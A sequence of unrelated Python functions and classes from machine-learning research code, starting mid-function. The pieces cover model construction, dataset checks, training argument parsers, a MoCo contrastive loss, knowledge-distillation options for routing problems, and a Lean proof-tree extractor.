self._total_episodes_per_generation, 'payoff_table_checkpoint_num': self._payoff_table_checkpoint_nums, 'payoff_table_checkpoint_path': self._payoff_table_checkpoint_paths, 'policy_nums_checkpoint_path': self._policy_nums_checkpoint_paths} with open(self._exploitability_stats_save_path, '+w') as json_file: json.dump(stats_out, json_file) logger.info(colored(f'(Graph this in a notebook) Saved approx exploitability stats to {self._exploitability_stats_save_path}', 'green'))
def get_diapreresnet_cifar(num_classes, blocks, bottleneck, model_name=None, pretrained=False, root=os.path.join('~', '.torch', 'models'), **kwargs): assert (num_classes in [10, 100]) if bottleneck: assert (((blocks - 2) % 9) == 0) layers = ([((blocks - 2) // 9)] * 3) else: assert (((blocks - 2) % 6) == 0) layers = ([((blocks - 2) // 6)] * 3) channels_per_layers = [16, 32, 64] init_block_channels = 16 channels = [([ci] * li) for (ci, li) in zip(channels_per_layers, layers)] if bottleneck: channels = [[(cij * 4) for cij in ci] for ci in channels] net = CIFARDIAPreResNet(channels=channels, init_block_channels=init_block_channels, bottleneck=bottleneck, num_classes=num_classes, **kwargs) if pretrained: if ((model_name is None) or (not model_name)): raise ValueError('Parameter `model_name` should be properly initialized for loading pretrained model.') from .model_store import download_model download_model(net=net, model_name=model_name, local_model_store_dir_path=root) return net
def check_has_downloaded(): global iPER_images_dir, iPER_train_txt, iPER_val_txt has_download = (os.path.exists(iPER_train_txt) and os.path.exists(iPER_val_txt)) if has_download: train_vid_names = get_video_dirs(iPER_train_txt) val_vid_names = get_video_dirs(iPER_val_txt) all_vid_names = (train_vid_names + val_vid_names) for vid_name in all_vid_names: vid_path = os.path.join(iPER_images_dir, vid_name) print(vid_path) if ((not os.path.exists(vid_path)) or (len(os.listdir(vid_path)) == 0)): has_download = False break return has_download
class TFRobertaPreLayerNormForSequenceClassification(metaclass=DummyObject): _backends = ['tf'] def __init__(self, *args, **kwargs): requires_backends(self, ['tf'])
class DumbSpotVideo(Video): def __init__(self, video_path: (str | Path), fps: int, num_frames: int, num_decode: int=1, min_clip_duration: float=0, **kwargs) -> None: self._fps = fps self._num_frames = num_frames self._video_path = video_path self._name = (Path(Path(self._video_path).name) / Path(self._half_path.name)) self._num_decode = num_decode self._min_clip_duration = min_clip_duration def name(self) -> str: return self._name def get_frame_indices(self, start_frame: float, end_frame: float) -> tuple[(torch.Tensor, torch.Tensor)]: if ((start_frame < 0) or (start_frame >= self._num_frames) or (end_frame >= self._num_frames)): logger.warning(f'No frames found within {start_frame} and {end_frame} frames. Video startsat frame 0 and ends at {self._num_frames}.') return None video_frame_indices = torch.arange(start_frame, (end_frame + 1)) if ((self._min_clip_duration > 0) and (len(video_frame_indices) < self._min_clip_duration)): num_lacking_frames = ((self._min_clip_duration * self._fps) - len(video_frame_indices)) if (start_frame == 0): video_frame_indices = torch.cat([torch.zeros(num_lacking_frames, dtype=video_frame_indices.dtype), video_frame_indices]) else: video_frame_indices = torch.cat([video_frame_indices, torch.tensor([video_frame_indices[(- 1)] for _ in range(num_lacking_frames)], dtype=video_frame_indices.dtype)]) return video_frame_indices def get_clip(self, start_frame: int, end_frame: int) -> dict[(str, ((torch.Tensor | None) | list[torch.Tensor]))]: frame_indices = self.get_frame_indices(start_frame, end_frame) videos = torch.randn((3, frame_indices.shape[0], 224, 224), dtype=torch.float32) if (self._num_decode > 1): videos = [videos for _ in range(self._num_decode)] return {'video': videos, 'clip_start': frame_indices[0].item(), 'clip_end': frame_indices[(- 1)].item(), 'frame_indices': frame_indices}
def parse_args(): parser = argparse.ArgumentParser(description='Finetune a transformers model on a summarization task') parser.add_argument('--dataset_name', type=str, default=None, help='The name of the dataset to use (via the datasets library).') parser.add_argument('--dataset_config_name', type=str, default=None, help='The configuration name of the dataset to use (via the datasets library).') parser.add_argument('--train_file', type=str, default=None, help='A csv or a json file containing the training data.') parser.add_argument('--validation_file', type=str, default=None, help='A csv or a json file containing the validation data.') parser.add_argument('--ignore_pad_token_for_loss', type=bool, default=True, help='Whether to ignore the tokens corresponding to padded labels in the loss computation or not.') parser.add_argument('--max_source_length', type=int, default=1024, help='The maximum total input sequence length after tokenization.Sequences longer than this will be truncated, sequences shorter will be padded.') parser.add_argument('--source_prefix', type=str, default=None, help='A prefix to add before every source text (useful for T5 models).') parser.add_argument('--preprocessing_num_workers', type=int, default=None, help='The number of processes to use for the preprocessing.') parser.add_argument('--overwrite_cache', action='store_true', help='Overwrite the cached training and evaluation sets') parser.add_argument('--max_target_length', type=int, default=128, help='The maximum total sequence length for target text after tokenization. Sequences longer than this will be truncated, sequences shorter will be padded.during ``evaluate`` and ``predict``.') parser.add_argument('--val_max_target_length', type=int, default=None, help='The maximum total sequence length for validation target text after tokenization.Sequences longer than this will be truncated, sequences shorter will be padded. Will default to `max_target_length`.This argument is also used to override the ``max_length`` param of ``model.generate``, which is used during ``evaluate`` and ``predict``.') parser.add_argument('--num_beams', type=int, default=None, help='Number of beams to use for evaluation. This argument will be passed to ``model.generate``, which is used during ``evaluate`` and ``predict``.') parser.add_argument('--pad_to_max_length', action='store_true', help='If passed, pad all samples to `max_length`. Otherwise, dynamic padding is used.') parser.add_argument('--model_name_or_path', type=str, help='Path to pretrained model or model identifier from huggingface.co/models.', required=False) parser.add_argument('--config_name', type=str, default=None, help='Pretrained config name or path if not the same as model_name') parser.add_argument('--tokenizer_name', type=str, default=None, help='Pretrained tokenizer name or path if not the same as model_name') parser.add_argument('--text_column', type=str, default=None, help='The name of the column in the datasets containing the full texts (for summarization).') parser.add_argument('--summary_column', type=str, default=None, help='The name of the column in the datasets containing the summaries (for summarization).') parser.add_argument('--use_slow_tokenizer', action='store_true', help='If passed, will use a slow tokenizer (not backed by the Tokenizers library).') parser.add_argument('--per_device_train_batch_size', type=int, default=8, help='Batch size (per device) for the training dataloader.') parser.add_argument('--per_device_eval_batch_size', type=int, default=8, help='Batch size (per device) for the evaluation dataloader.') parser.add_argument('--learning_rate', type=float, default=5e-05, help='Initial learning rate (after the potential warmup period) to use.') parser.add_argument('--weight_decay', type=float, default=0.0, help='Weight decay to use.') parser.add_argument('--num_train_epochs', type=int, default=3, help='Total number of training epochs to perform.') parser.add_argument('--max_train_steps', type=int, default=None, help='Total number of training steps to perform. If provided, overrides num_train_epochs.') parser.add_argument('--gradient_accumulation_steps', type=int, default=1, help='Number of updates steps to accumulate before performing a backward/update pass.') parser.add_argument('--lr_scheduler_type', type=SchedulerType, default='linear', help='The scheduler type to use.', choices=['linear', 'cosine', 'cosine_with_restarts', 'polynomial', 'constant', 'constant_with_warmup']) parser.add_argument('--num_warmup_steps', type=int, default=0, help='Number of steps for the warmup in the lr scheduler.') parser.add_argument('--output_dir', type=str, default=None, help='Where to store the final model.') parser.add_argument('--seed', type=int, default=None, help='A seed for reproducible training.') parser.add_argument('--model_type', type=str, default=None, help='Model type to use if training from scratch.', choices=MODEL_TYPES) parser.add_argument('--push_to_hub', action='store_true', help='Whether or not to push the model to the Hub.') parser.add_argument('--hub_model_id', type=str, help='The name of the repository to keep in sync with the local `output_dir`.') parser.add_argument('--hub_token', type=str, help='The token to use to push to the Model Hub.') parser.add_argument('--checkpointing_steps', type=str, default=None, help="Whether the various states should be saved at the end of every n steps, or 'epoch' for each epoch.") parser.add_argument('--resume_from_checkpoint', type=str, default=None, help='If the training should continue from a checkpoint folder.') parser.add_argument('--with_tracking', action='store_true', help='Whether to enable experiment trackers for logging.') parser.add_argument('--report_to', type=str, default='all', help='The integration to report the results and logs to. Supported platforms are `"tensorboard"`, `"wandb"`, `"comet_ml"` and `"clearml"`. Use `"all"` (default) to report to all integrations.Only applicable when `--with_tracking` is passed.') args = parser.parse_args() if ((args.dataset_name is None) and (args.train_file is None) and (args.validation_file is None)): raise ValueError('Need either a dataset name or a training/validation file.') else: if (args.train_file is not None): extension = args.train_file.split('.')[(- 1)] assert (extension in ['csv', 'json']), '`train_file` should be a csv or a json file.' if (args.validation_file is not None): extension = args.validation_file.split('.')[(- 1)] assert (extension in ['csv', 'json']), '`validation_file` should be a csv or a json file.' if args.push_to_hub: assert (args.output_dir is not None), 'Need an `output_dir` to create a repo when `--push_to_hub` is passed.' return args
def maxpool(x, dim=(- 1), keepdim=False): (out, _) = x.max(dim=dim, keepdim=keepdim) return out
def compute_moco_loss(q: Tensor, k: Tensor, k_global: Tensor, use_keys: bool, queue: Tensor, temp: float=0.2, rank: int=0) -> Tensor: batch_size = q.shape[0] if use_keys: labels = (torch.arange(batch_size, dtype=torch.long, device=q.device) + (batch_size * rank)) sim_k = torch.einsum('nc,mc->nm', [q, k_global]) if (queue is not None): sim_queue = torch.einsum('nc,ck->nk', [q, queue]) sim = torch.cat([sim_k, sim_queue], dim=1) else: sim = sim_k else: sim_k = torch.einsum('nc,nc->n', [q, k]).unsqueeze((- 1)) sim_queue = torch.einsum('nc,ck->nk', [q, queue]) sim = torch.cat([sim_k, sim_queue], dim=1) labels = torch.zeros(batch_size, dtype=torch.long, device=q.device) logits = (sim / temp) loss = nn.functional.cross_entropy(logits, labels) return loss
def get_options(args=None): parser = argparse.ArgumentParser(description='Adaptive Multi-Distribution Knowledge Distillation (AMDKD) scheme for AM') parser.add_argument('--problem', default='cvrp', help="The problem to solve, or 'tsp'") parser.add_argument('--graph_size', type=int, default=20, help='The size of the problem graph') parser.add_argument('--batch_size', type=int, default=512, help='Number of instances per batch during training') parser.add_argument('--epoch_size', type=int, default=128000, help='Number of instances per epoch during training') parser.add_argument('--val_size', type=int, default=10000, help='Number of instances used for reporting validation performance') parser.add_argument('--val_dataset', type=str, default=None, help='Dataset file to use for validation') parser.add_argument('--test_type', type=str, default='greedy', help='test type') parser.add_argument('--model', default='attention', help="Model, 'attention' (default) or 'pointer'") parser.add_argument('--embedding_dim', type=int, default=128, help='Dimension of input embedding') parser.add_argument('--hidden_dim', type=int, default=128, help='Dimension of hidden layers in Enc/Dec') parser.add_argument('--n_encode_layers', type=int, default=3, help='Number of layers in the encoder/critic network') parser.add_argument('--tanh_clipping', type=float, default=10.0, help='Clip the parameters to within +- this value using tanh.Set to 0 to not perform any clipping.') parser.add_argument('--normalization', default='batch', help="Normalization type, 'batch' (default) or 'instance'") parser.add_argument('--distillation', action='store_true', default=True, help='whether to use knowledge distillation') parser.add_argument('--adaptive_prob', action='store_true', default=True, help='randomly choose teacher considering the gap of each distribution') parser.add_argument('--random_adaptive_prob', type=float, default=0, help='randomly choose whether considering the gap or not') parser.add_argument('--adaptive_prob_type', type=str, default='softmax', help='the way to calculate the adaptive prob, softmax or sum') parser.add_argument('--start_adaptive_epoch', type=int, default=500) parser.add_argument('--student_embedding_dim', type=int, default=64, help='Dimension of input embedding in student net') parser.add_argument('--student_hidden_dim', type=int, default=64, help='Dimension of hidden layers in Enc/Dec in student net') parser.add_argument('--student_n_encode_layers', type=int, default=3, help='Number of layers in the encoder/critic network in student net') parser.add_argument('--student_normalization', default='batch', help="Normalization type, 'batch' (default) or 'instance'") parser.add_argument('--student_feed_forward_hidden', default=512, type=int, help='FFN dim in student graph encoder(Transformer block)') parser.add_argument('--student_load', action='store_true', default=False, help='whether to load student model') parser.add_argument('--student_load_path', type=str, help='load path of the student model') parser.add_argument('--n_cluster', type=int, default=3, help='n_cluster for cluster distribution') parser.add_argument('--n_cluster_mix', type=int, default=1, help='n_cluster for mixed cluster distribution') parser.add_argument('--generate_mix_data', action='store_true', default=False, help='whether to generate mix data') parser.add_argument('--distill_temperature', type=int, default=1) parser.add_argument('--rl_alpha', type=float, default=0.5, help='weight for RL loss (task loss)') parser.add_argument('--distill_alpha', type=float, default=0.5, help='weight for KLD loss (distill loss)') parser.add_argument('--twist_kldloss', action='store_true', default=False) parser.add_argument('--meaningful_KLD', action='store_true', default=False) parser.add_argument('--router', type=str, default='student', help='Teacher or student acts as the router') parser.add_argument('--hinton_t2', action='store_true', default=False, help='soft target loss * temperature^2') parser.add_argument('--distill_distribution', action='store_true', default=False, help='AMDKD') parser.add_argument('--load_path_uniform', type=str, help='teacher model under uniform distribution') parser.add_argument('--load_path_cluster', type=str, help='teacher model under cluster distribution') parser.add_argument('--load_path_mixed', type=str, help='teacher model under mixed distribution') parser.add_argument('--multi_distribution_baseline', action='store_true', default=False, help='whether to use mix data during baseline evaluation') parser.add_argument('--multi_teacher', action='store_true', default=False, help='whether to use the multi-teacher loss[1]') parser.add_argument('--multi_test', action='store_true', default=False, help='whether to test in different distributions') parser.add_argument('--normalization_uniform', default='batch', help="Normalization type, 'batch' (default) or 'instance'") parser.add_argument('--normalization_cluster', default='instance', help="Normalization type, 'batch' (default) or 'instance'") parser.add_argument('--normalization_mixed', default='batch', help="Normalization type, 'batch' (default) or 'instance'") parser.add_argument('--val_dataset_uniform', type=str, default=None, help='Dataset file to use for validation') parser.add_argument('--val_dataset_cluster', type=str, default=None, help='Dataset file to use for validation') parser.add_argument('--val_dataset_mixed', type=str, default=None, help='Dataset file to use for validation') parser.add_argument('--lr_model', type=float, default=0.0001, help='Set the learning rate for the actor network(1e-4 for basic AM)') parser.add_argument('--lr_critic', type=float, default=0.0001, help='Set the learning rate for the critic network') parser.add_argument('--lr_decay', type=float, default=1.0, help='Learning rate decay per epoch') parser.add_argument('--eval_only', action='store_true', default=False, help='Set this value to only evaluate model') parser.add_argument('--n_epochs', type=int, default=10000, help='The number of epochs to train') parser.add_argument('--seed', type=int, default=1234, help='Random seed to use') parser.add_argument('--max_grad_norm', type=float, default=1.0, help='Maximum L2 norm for gradient clipping, default 1.0 (0 to disable clipping)') parser.add_argument('--no_cuda', action='store_true', help='Disable CUDA') parser.add_argument('--exp_beta', type=float, default=0.8, help='Exponential moving average baseline decay (default 0.8)') parser.add_argument('--baseline', default='rollout', help="Baseline to use: 'rollout', 'critic' or 'exponential'. Defaults to no baseline.") parser.add_argument('--bl_alpha', type=float, default=0.05, help='Significance in the t-test for updating rollout baseline') parser.add_argument('--bl_warmup_epochs', type=int, default=None, help='Number of epochs to warmup the baseline, default None means 1 for rollout (exponential used for warmup phase), 0 otherwise. Can only be used with rollout baseline.') parser.add_argument('--eval_batch_size', type=int, default=1024, help='Batch size to use during (baseline) evaluation') parser.add_argument('--checkpoint_encoder', action='store_true', help='Set to decrease memory usage by checkpointing encoder') parser.add_argument('--shrink_size', type=int, default=None, help='Shrink the batch size if at least this many instances in the batch are finished to save memory (default None means no shrinking)') parser.add_argument('--data_distribution', type=str, default='uniform', help='Data distribution to use during training, defaults and options depend on problem.') parser.add_argument('--log_step', type=int, default=50, help='Log info every log_step steps') parser.add_argument('--log_dir', default='logs', help='Directory to write TensorBoard information to') parser.add_argument('--run_name', default='run_AMDKD', help='Name to identify the run') parser.add_argument('--output_dir', default='outputs', help='Directory to write output models to') parser.add_argument('--epoch_start', type=int, default=0, help='Start at epoch # (relevant for learning rate decay)') parser.add_argument('--checkpoint_epochs', type=int, default=1, help='Save checkpoint every n epochs (default 1), 0 to save no checkpoints') parser.add_argument('--is_load', action='store_true', default=False, help='whether to load model parameters and optimizer state') parser.add_argument('--is_load_multi', action='store_true', default=False) parser.add_argument('--load_path', type=str, help='Path to load model parameters and optimizer state from') parser.add_argument('--resume', help='Resume from previous checkpoint file') parser.add_argument('--no_tensorboard', action='store_true', help='Disable logging TensorBoard files') parser.add_argument('--no_progress_bar', action='store_true', help='Disable progress bar') parser.add_argument('--all_cuda_visible', action='store_true', help='Whether to use all available cuda') parser.add_argument('--CUDA_VISIBLE_ID', default='0', help='Make specific id of cuda visible and use them instead of all available cuda') opts = parser.parse_args(args) if (not opts.all_cuda_visible): os.environ['CUDA_VISIBLE_DEVICES'] = opts.CUDA_VISIBLE_ID opts.use_cuda = (torch.cuda.is_available() and (not opts.no_cuda)) opts.best = 0 opts.save_best = False if opts.distill_distribution: opts.multi_test = True if opts.multi_test: if (opts.problem == 'tsp'): opts.val_dataset_uniform = 'data/tsp/tsp_uniform{}_1000_seed1234.pkl'.format(opts.graph_size) opts.val_dataset_cluster = 'data/tsp/tsp_cluster{}_1000_seed1234.pkl'.format(opts.graph_size) opts.val_dataset_mixed = 'data/tsp/tsp_mixed{}_1000_seed1234.pkl'.format(opts.graph_size) elif (opts.problem == 'cvrp'): opts.val_dataset_uniform = 'data/vrp/vrp_uniform{}_1000_seed1234.pkl'.format(opts.graph_size) opts.val_dataset_cluster = 'data/vrp/vrp_cluster{}_1000_seed1234.pkl'.format(opts.graph_size) opts.val_dataset_mixed = 'data/vrp/vrp_mixed{}_1000_seed1234.pkl'.format(opts.graph_size) if (opts.problem == 'tsp'): opts.normalization_uniform = 'instance' opts.normalization_mixed = 'instance' opts.student_normalization = 'instance' opts.normalization = 'instance' if opts.adaptive_prob: if (opts.problem == 'tsp'): LKH3_optimal = {20: [3.84485, 1.824836, 3.], 50: [5.686744, 2.666433, 4.912134], 100: [7.753418, 3.667576, 6.729566]} elif (opts.problem == 'cvrp'): LKH3_optimal = {20: [6.156523, 3., 5.439149], 50: [10.417558, 5.155511, 9.354149], 100: [15.740834, 7.909336, 14.294179]} opts.LKH3_optimal = LKH3_optimal[opts.graph_size] opts.run_name = '{}_{}'.format(opts.run_name, time.strftime('%Y%m%dT%H%M%S')) opts.save_dir = os.path.join(opts.output_dir, '{}_{}'.format(opts.problem, opts.graph_size), opts.run_name) if (opts.bl_warmup_epochs is None): opts.bl_warmup_epochs = (1 if (opts.baseline == 'rollout') else 0) if opts.distillation: if opts.distill_distribution: if (not opts.load_path_uniform): opts.load_path_uniform = 'teacher/{}{}/{}{}-uniform-epoch-99.pt'.format(opts.problem, opts.graph_size, opts.problem, opts.graph_size) print('Using given Uniform teacher') if (not opts.load_path_cluster): opts.load_path_cluster = 'teacher/{}{}/{}{}-cluster-epoch-99.pt'.format(opts.problem, opts.graph_size, opts.problem, opts.graph_size) print('Using given Cluster teacher') if (not opts.load_path_mixed): opts.load_path_mixed = 'teacher/{}{}/{}{}-mixed-epoch-99.pt'.format(opts.problem, opts.graph_size, opts.problem, opts.graph_size) print('Using given Mixed teacher') opts.load_path_multi = {'uniform': opts.load_path_uniform, 'cluster': opts.load_path_cluster, 'mixed': opts.load_path_mixed} else: assert (opts.load_path is not None), 'Knowledge Distillation for a single model must load a teacher model!' assert ((opts.bl_warmup_epochs == 0) or (opts.baseline == 'rollout')) assert ((opts.epoch_size % opts.batch_size) == 0), 'Epoch size must be integer multiple of batch size!' return opts
def main(train_set_dir, val_set_dir): if ((not os.path.exists(train_set_dir)) and os.path.exists(val_set_dir)): print('ERROR: Target Dir Does Not Exist') return train_csv_list = os.listdir((os.getcwd() + train_set_dir)) val_csv_list = os.listdir((os.getcwd() + val_set_dir)) i = 0 for train in train_csv_list: rearrange(((train_set_dir + os.sep) + train), mode='train') i += 1 print('\rProgress: {:>4}/{:>4}'.format(i, len(train_csv_list)), end='') i = 0 for val in val_csv_list: rearrange(((val_set_dir + os.sep) + val), mode='validation') i += 1 print('\rProgress: {:>4}/{:>4}'.format(i, len(val_csv_list)), end='')
class Network(nn.Module): def __init__(self, network_config): super(Network, self).__init__() self.network_config = network_config def forward(self, input): raise NotImplementedError def step(self): pass def re_init(self): pass
class ProofExtractor(): lean_file: LeanFile relative_file_path: Path tactic_instance_data: List[Dict[(str, Any)]] tactic_position_data: List[Dict[(str, Any)]] tactic_pos_data: List[Dict[(str, Any)]] tactic_data: Dict[(str, Dict[(str, Any)])] tactic_pos_trace_keys: Dict[(Tuple[(str, int, int, int)], str)] parameter_positions: Dict[(Tuple[(int, int)], List[Tuple[(int, int)]])] tactic_block_positions: Set[Tuple[(int, int)]] tactics_to_process: List[str] processed_tactics: Set[str] proof_trees: List[Dict[(str, Any)]] proof_table: List[Dict[(str, Any)]] tactic_table: List[Dict[(str, Any)]] arg_table: List[Dict[(str, Any)]] def __init__(self, lean_file: LeanFile, relative_file_path: str, tactic_instance_data: List[Dict[(str, Any)]], tactic_params_pos_data: List[Dict[(str, Any)]]): self.lean_file = lean_file self.relative_file_path = relative_file_path self.tactic_instance_data = tactic_instance_data self.tactic_params_pos_data = tactic_params_pos_data self.tactic_pos_data = [] self.tactic_data = {} self.proof_trees = [] self.proof_table = [] self.tactic_table = [] self.arg_table = [] def remove_index_from_key(key: str) -> str: return ':'.join(key.split(':')[:3]) def build_tactic_pos_data(self) -> None: tactic_pos_data = {} for tactic_instance in self.tactic_instance_data: tactic_pos = {} tactic_pos['filename'] = tactic_instance['filename'] tactic_pos['key'] = self.remove_index_from_key(tactic_instance['key']) tactic_pos['trace_pos_line'] = tactic_instance['trace_pos_line'] tactic_pos['trace_pos_column'] = tactic_instance['trace_pos_column'] tactic_pos['line'] = tactic_instance['line'] tactic_pos['column'] = tactic_instance['column'] tactic_pos['depth'] = tactic_instance['depth'] tactic_pos['proof'] = self.remove_index_from_key(tactic_instance['proof']) tactic_pos['block'] = self.remove_index_from_key(tactic_instance['block']) tactic_pos['parent'] = self.remove_index_from_key(tactic_instance['parent']) tactic_pos_data[(tactic_pos['filename'], tactic_pos['key'])] = tactic_pos self.tactic_pos_data = list(tactic_pos_data.values()) def build_tactic_data(self) -> None: self.tactic_data = {} for tac in sorted(self.tactic_pos_data, key=(lambda tac: tac['depth'])): if ((tac['trace_pos_line'], tac['trace_pos_column']) != (tac['line'], tac['column'])): continue data = {} data['filename'] = tac['filename'] data['key'] = tac['key'] data['parent'] = tac['parent'] data['depth'] = tac['depth'] symbol = self.lean_file.get_token((tac['line'] - 1), (tac['column'] - 1)).string if (symbol == ';'): data['type'] = 'semicolon' data['line'] = tac['line'] data['column'] = tac['column'] data['semicolon_reverse_depth'] = None data['preceeding_symbol'] = None data['preceeding_line'] = None data['preceeding_column'] = None else: if (symbol == '}'): left = self.lean_file.find_left_bracket(['{'], ['}'], (tac['line'] - 1), (tac['column'] - 1)) data['type'] = 'begin_end' data['line'] = (left.line + 1) data['column'] = (left.column + 1) elif (symbol == 'end'): left = self.lean_file.find_left_bracket(['begin', 'match'], ['end'], (tac['line'] - 1), (tac['column'] - 1)) data['type'] = 'begin_end' data['line'] = (left.line + 1) data['column'] = (left.column + 1) else: data['type'] = 'named' data['line'] = tac['line'] data['column'] = tac['column'] preceeding_token = self.lean_file.get_prev_matching_pattern((data['line'] - 1), (data['column'] - 1), [TokenType.SYMBOL, TokenType.ALPHANUMERIC]) data['preceeding_symbol'] = preceeding_token.string data['preceeding_line'] = (preceeding_token.line + 1) data['preceeding_column'] = (preceeding_token.column + 1) data['semicolon_reverse_depth'] = 0 current_data = data rev_depth = 0 while (current_data['parent'] in self.tactic_data): parent = self.tactic_data[current_data['parent']] if (parent['type'] != 'semicolon'): break if ((data['line'], data['column']) > (parent['line'], parent['column'])): break rev_depth += 1 current_data = parent current_data['line'] = data['line'] current_data['column'] = data['column'] current_data['semicolon_reverse_depth'] = rev_depth current_data['preceeding_symbol'] = data['preceeding_symbol'] current_data['preceeding_line'] = data['preceeding_line'] current_data['preceeding_column'] = data['preceeding_column'] self.tactic_data[data['key']] = data def build_parser_hints(self) -> None: tactic_data_list = sorted(self.tactic_data.values(), key=(lambda tac: (tac['line'], tac['column']))) self.tactic_params_pos_data.sort(key=(lambda param: (param['line'], param['column']))) self.parameter_positions = collections.defaultdict(list) for param in self.tactic_params_pos_data: self.parameter_positions[((param['line'] - 1), (param['column'] - 1))].append(((param['end_line'] - 1), (param['end_column'] - 1))) self.tactic_block_positions = set() self.tactics_to_process = [] self.tactic_pos_trace_keys = {} for tac in tactic_data_list: if (tac['preceeding_symbol'] in ('by', 'begin', '{')): self.tactic_block_positions.add(((tac['preceeding_line'] - 1), (tac['preceeding_column'] - 1))) self.tactics_to_process.append(tac['key']) self.tactic_pos_trace_keys[(tac['filename'], tac['line'], tac['column'], tac['semicolon_reverse_depth'])] = tac['key'] self.processed_tactics = set() def extract_ast(self, ast: AST.ASTData, proof_key: str, parent_key: str, parent_type: str, index: int) -> Dict[(str, Any)]: node = {} node['key'] = None row = {} row['key'] = None row['filename'] = self.relative_file_path row['start_line'] = (ast.line + 1) row['start_column'] = (ast.column + 1) row['end_line'] = (ast.end_line + 1) row['end_column'] = (ast.end_column + 1) row['code_string'] = self.lean_file.slice_string(ast.line, ast.column, ast.end_line, ast.end_column, clean=True) row['class'] = None row['parent_key'] = parent_key row['parent_type'] = parent_type row['index'] = index row['line'] = (ast.line + 1) row['column'] = (ast.column + 1) key = f"{row['filename']}:{row['line']}:{row['column']}" infix_key = 0 if isinstance(ast, AST.ByProof): node['node_type'] = 'proof' node['node_subtype'] = 'by' node['tactic'] = self.extract_ast(ast.tactic, proof_key=proof_key, parent_key=key, parent_type=node['node_type'], index=0) row['first_tactic_key'] = node['tactic']['key'] elif isinstance(ast, AST.BeginProof): node['node_type'] = 'proof' node['node_subtype'] = 'begin' node['tactics'] = [] for (i, tactic) in enumerate(ast.tactics): node['tactics'].append(self.extract_ast(tactic, proof_key=proof_key, parent_key=key, parent_type=node['node_type'], index=i)) row['first_tactic_key'] = node['tactics'][0]['key'] elif isinstance(ast, AST.BracketProof): node['node_type'] = 'proof' node['node_subtype'] = 'bracket' node['tactics'] = [] for (i, tactic) in enumerate(ast.tactics): node['tactics'].append(self.extract_ast(tactic, proof_key=proof_key, parent_key=key, parent_type=node['node_type'], index=i)) row['first_tactic_key'] = node['tactics'][0]['key'] elif isinstance(ast, AST.SemicolonListTactic): node['node_type'] = 'tactic' node['node_subtype'] = 'semicolon_list' row['line'] = (ast.semicolon_line + 1) row['column'] = (ast.semicolon_column + 1) key = f"{row['filename']}:{row['line']}:{row['column']}" infix_key = ast.semicolon_count node['tactic1'] = self.extract_ast(ast.tactic1, proof_key=proof_key, parent_key=key, parent_type=node['node_type'], index=0) node['tactics2'] = [] for (i, tactic) in enumerate(ast.tactic_list): node['tactics2'].append(self.extract_ast(tactic, proof_key=proof_key, parent_key=key, parent_type=node['node_type'], index=(i + 1))) elif isinstance(ast, AST.SemicolonTactic): node['node_type'] = 'tactic' node['node_subtype'] = 'semicolon' row['line'] = (ast.semicolon_line + 1) row['column'] = (ast.semicolon_column + 1) key = f"{row['filename']}:{row['line']}:{row['column']}" infix_key = ast.semicolon_count node['tactic1'] = self.extract_ast(ast.tactic1, proof_key=proof_key, parent_key=key, parent_type=node['node_type'], index=0) node['tactic2'] = self.extract_ast(ast.tactic2, proof_key=proof_key, parent_key=key, parent_type=node['node_type'], index=1) elif isinstance(ast, AST.AlternativeTactic): node['node_type'] = 'tactic' node['node_subtype'] = 'alternative' row['line'] = (ast.alternative_line + 1) row['column'] = (ast.alternative_column + 1) key = f"{row['filename']}:{row['line']}:{row['column']}" infix_key = (- 1) node['tactic1'] = self.extract_ast(ast.tactic1, proof_key=proof_key, parent_key=key, parent_type=node['node_type'], index=0) node['tactic2'] = self.extract_ast(ast.tactic2, proof_key=proof_key, parent_key=key, parent_type=node['node_type'], index=1) elif isinstance(ast, AST.Solve1Tactic): node['node_type'] = 'tactic' node['node_subtype'] = 'solve1' node['tactics'] = [] for (i, tactic) in enumerate(ast.tactics): node['tactics'].append(self.extract_ast(tactic, proof_key=proof_key, parent_key=key, parent_type=node['node_type'], index=i)) elif isinstance(ast, AST.NamedTactic): node['node_type'] = 'tactic' node['node_subtype'] = 'named' node['args'] = [] for (i, arg) in enumerate(ast.args): node['args'].append(self.extract_ast(arg, proof_key=proof_key, parent_key=key, parent_type=node['node_type'], index=i)) elif isinstance(ast, AST.ITactic): node['node_type'] = 'tactic' node['node_subtype'] = 'itactic' node['tactics'] = [] for (i, tactic) in enumerate(ast.tactics): node['tactics'].append(self.extract_ast(tactic, proof_key=proof_key, parent_key=key, parent_type=node['node_type'], index=i)) elif isinstance(ast, AST.CalcTactic): node['node_type'] = 'tactic' node['node_subtype'] = 'calc' elif isinstance(ast, AST.ITacticTacticParam): node['node_type'] = 'tactic_arg' node['node_subtype'] = 'itactic' node['tactic'] = self.extract_ast(ast.tactic, proof_key=proof_key, parent_key=key, parent_type=node['node_type'], index=0) elif isinstance(ast, AST.TacticParam): node['node_type'] = 'tactic_arg' node['node_subtype'] = 'expression' else: raise Exception(ast) node['key'] = row['key'] = f"{row['filename']}:{row['line']}:{row['column']}" row['class'] = node['node_subtype'] if (node['node_type'] == 'proof'): self.proof_table.append(row) elif (node['node_type'] == 'tactic'): row['proof_key'] = proof_key if ((row['filename'], row['start_line'], row['start_column'], infix_key) in self.tactic_pos_trace_keys): trace_key = self.tactic_pos_trace_keys[(row['filename'], row['start_line'], row['start_column'], infix_key)] self.processed_tactics.add(trace_key) row['trace_key'] = trace_key else: row['trace_key'] = '' self.tactic_table.append(row) elif (node['node_type'] == 'tactic_arg'): self.arg_table.append(row) return node def extract_proof_ast(self, ast: Union[(AST.ByProof, AST.BeginProof, AST.BracketProof)]) -> Dict[(str, Any)]: return self.extract_ast(ast, proof_key=f'{self.relative_file_path}:{(ast.line + 1)}:{(ast.column + 1)}', parent_key='', parent_type='', index=0) def run(self): self.build_tactic_pos_data() self.build_tactic_data() self.build_parser_hints() for key in self.tactics_to_process: if (key in self.processed_tactics): continue tac = self.tactic_data[key] try: parser = LeanParser(self.lean_file, (tac['preceeding_line'] - 1), (tac['preceeding_column'] - 1), parameter_positions=self.parameter_positions, tactic_block_positions=self.tactic_block_positions) if (tac['preceeding_symbol'] == 'by'): parser_ast = parser.read_by() elif (tac['preceeding_symbol'] == 'begin'): parser_ast = parser.read_begin() elif (tac['preceeding_symbol'] == '{'): parser_ast = parser.read_bracket_proof() else: raise Exception(f'This tactic should already have been processed: {tac}') proof_tree = self.extract_proof_ast(parser_ast) self.proof_trees.append(proof_tree) except Exception: print(self.lean_file.filename) traceback.print_exc()
